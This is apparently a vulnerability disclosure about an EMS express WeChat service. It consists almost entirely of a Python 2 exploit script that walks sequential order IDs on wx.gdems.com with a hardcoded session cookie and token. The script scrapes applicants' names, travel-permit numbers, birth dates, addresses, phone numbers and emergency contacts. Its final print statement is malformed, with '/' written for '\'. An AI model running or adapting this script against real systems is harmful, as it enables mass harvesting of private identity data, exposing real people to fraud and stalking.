邮政速递某微信公众账号漏洞涉及便民通用户敏感信息

#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 import os
 import urllib, urllib2, cookielib
 from time import time
 from collections import OrderedDict
 import gzip
 import StringIO
 from bs4 import BeautifulSoup
 import sys
 
 
 class EMSApi:
     """docstring for EMSApi"""
 
     def __init__(self):
         self.cookie = cookielib.LWPCookieJar()
         self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
         self.opener.addheaders = [
             ('Host', 'wx.gdems.com'),
             ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
             ('Connection', 'keep-alive'),
             ('Cookie', 'JSESSIONID=2D368BEF29860A068C48AAE4BB3B8490'),
             ('User-Agent', 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/zh_CN'),
             ('Accept-Language', 'en-us'),
             ('Referer', 'http://wx.gdems.com/weixin/hkandmaocaoDetail_permitsList.action?weixinid=o4sbnjhtfYg9IuWzbDulLYimaYec&rd2ftoken=61F0A348D5D20DEC8834F006842F6FDF&pubId=Z6EOJ5l4GY4='),
             ('Accept-Encoding', 'gzip, deflate')
             ]
         urllib2.install_opener(self.opener)
 
     def __get_current_timestamp(self):
         return '%.6f' % time()
 
     def __open_url(self, url, params, is_post=True):
         contents = ''
         try:
             encode_params = urllib.urlencode(params)
 
             if is_post:
                 res = self.opener.open(url, encode_params)
             else:
                 url = "{0}?{1}".format(url, encode_params)
                 res = self.opener.open(url)
 
             if res.headers.get('Content-Encoding') == 'gzip':
                 # read the encoded response into a buffer
                 buff = StringIO.StringIO(res.read())
                 # gzip decode the response
                 f = gzip.GzipFile(fileobj=buff)
                 # store the result
                 contents = f.read()
                 # close the buffer
                 buff.close()
             else:
                 contents = res.read()
         except Exception, e:
             print e
 
         return contents
 
     def get_order_info(self, order_id):
         os.system("echo '#fetching order info ...'")
         params = OrderedDict()
         params['orderid'] = order_id
 
         url = "http://wx.gdems.com/weixin/hkandmaocaoDetail_showDetail.action"
 
         contents = self.__open_url(url, params)
 
         # print contents
         os.system("echo  '#get_order_info done'")
         return contents
 
     def get_order_detail(self, orderId_des):
         os.system("echo '#fetching order detail ...'")
         params = OrderedDict()
         params['orderId_des'] = orderId_des
 
         url = "http://wx.gdems.com/weixin/hkandmaocaoDetail_selInfo.action?v={0}".format(int(time()*1000))
 
         contents = self.__open_url(url, params, is_post=True)
 
         # print contents
         os.system("echo  '#get_order_info done'")
         return contents
 
 
 
 if __name__ == "__main__":
     if len(sys.argv) < 2:
         print "Usage: python ems_api.py order_id[>= 1359]"
         exit(1)
     order_id = sys.argv[1]
     ems_api = EMSApi()
     # content = ems_api.get_order_info('1359')
     content = ems_api.get_order_info(order_id)
     soup = BeautifulSoup(content, 'lxml')
     form_result = soup.select('form[name=infoForm]')
     if len(form_result) > 0:
         orderId_des = form_result[0].select('input')[0].attrs['value']
         # print orderId_des
         content = ems_api.get_order_detail(orderId_des)
         soup = BeautifulSoup(content, 'lxml')
         apply_user_result = soup.select('input#applyUser')
         if len(apply_user_result) > 0:
             apply_user = apply_user_result[0].attrs['value']
             passcord_id = soup.select('input#passcordId')[0].attrs['value']
             birthday_date = soup.select('input#birthdayDate')[0].attrs['value']
             passcord_date = soup.select('input#passcordDate')[0].attrs['value']
             cord_city = soup.select('input#cordCity')[0].attrs['value']
             addressee = soup.select('input#addressee')[0].attrs['value']
             address_info = soup.select('input#addressinfo')[0].attrs['value']
             phone = soup.select('input#phone')[0].attrs['value']
             second_name = soup.select('input#secondname')[0].attrs['value']
             second_phone = soup.select('input#secondphone')[0].attrs['value']
 
             print u'申请人: {0}/n' /
                   u'通行证: {1}/n' /
                   u'出生日期: {2}/n' /
                   u'过期时间: {3}/n' /
                   u'签证地: {4}/n' /
                   u'收件人: {5}/n' /
                   u'收件人手机: {6}/n' /
                   u'收件地址: {7}/n' /
                   u'紧急联系人: {8}/n' /
                   u'紧急联系人手机: {9}/n'.format(apply_user, passcord_id, birthday_date, passcord_date, cord_city,
                                            addressee, phone, address_info, second_name, second_phone)
     pass